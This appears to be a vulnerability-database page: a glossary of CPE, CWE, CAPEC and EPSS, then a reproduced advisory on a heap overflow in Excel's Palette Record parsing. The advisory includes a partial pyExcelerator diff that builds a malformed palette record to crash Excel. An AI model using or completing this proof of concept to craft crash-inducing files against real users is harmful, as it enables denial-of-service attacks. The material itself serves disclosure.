CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow

Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down
######
Result

DOS

Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record
pyExcelerator diff results would be like below
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack('<H', 0x0038) # number of colours
> self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
